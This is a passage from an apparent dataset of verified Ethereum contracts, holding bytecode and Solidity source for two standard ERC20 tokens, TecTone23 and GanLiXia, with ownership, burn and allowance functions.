0360043516602435610548565b3480156102c257600080fd5b50610177600160a060020a0360043516602435610593565b3480156102e657600080fd5b506101a0600160a060020a03600435811690602435166105a9565b60408051808201909152600381527f4c42520000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561034f57600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b600160a060020a03831660009081526001602090815260408083203384529091528120548211156103ec57600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054610420908363ffffffff6105d416565b600160a060020a038516600090815260016020908152604080832033845290915290205561044f8484846105eb565b5060019392505050565b6b01cf389cd46047d03000000081565b601281565b6000600160a060020a038316151561048557600080fd5b336000908152600160209081526040808320600160a060020a03871684529091529020546104b9908363ffffffff6106dd16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600354600160a060020a031681565b600160a060020a031660009081526020819052604090205490565b6000600160a060020a038316151561055f57600080fd5b336000908152600160209081526040808320600160a060020a03871684529091529020546104b9908363ffffffff6105d416565b60006105a03384846105eb565b50600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600080838311156105e457600080fd5b5050900390565b600160a060020a03831660009081526020819052604090205481111561061057600080fd5b600160a060020a038216151561062557600080fd5b600160a060020a03831660009081526020819052604090205461064e908263ffffffff6105d416565b600160a060020a038085166000908152602081905260408082209390935590841681522054610683908263ffffffff6106dd16565b600160a060020a038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000828201838110156106ef57600080fd5b93925050505600a165627a7a72305820fd2ae3577911ebe11f6cbb67c25b09bed5ea9854fd1d982a36050f9944428a310029
|
{"success": true, "error": null, "results": {}}
| 3,729 |
0x17746f26501d1cb4231fccd94712867314cccf0a
|
/**
*Submitted for verification at Etherscan.io on 2021-12-16
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'TecTone23' contract
//
// Symbol : TECHT
// Name : TecTone23
// Total supply: 100000000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract TecTone23 is BurnableToken {
string public constant name = "TecTone23";
string public constant symbol = "TECHT";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 100000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600981526020017f546563546f6e653233000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6305f5e1000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f544543485400000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220927ac26ecce210f604eae97e40b74148db25922ea53e0d1020ccad1ad1164e3264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,730 |
0x91fced2dad80328e7bda416826119e8b42775f6e
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract GanLiXia is StandardToken, Ownable {
// Constants
string public constant name = "Gan Li Xia";
string public constant symbol = "GLX";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 333333333 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function GanLiXia() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600a81526020017f47616e204c69205869610000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d909190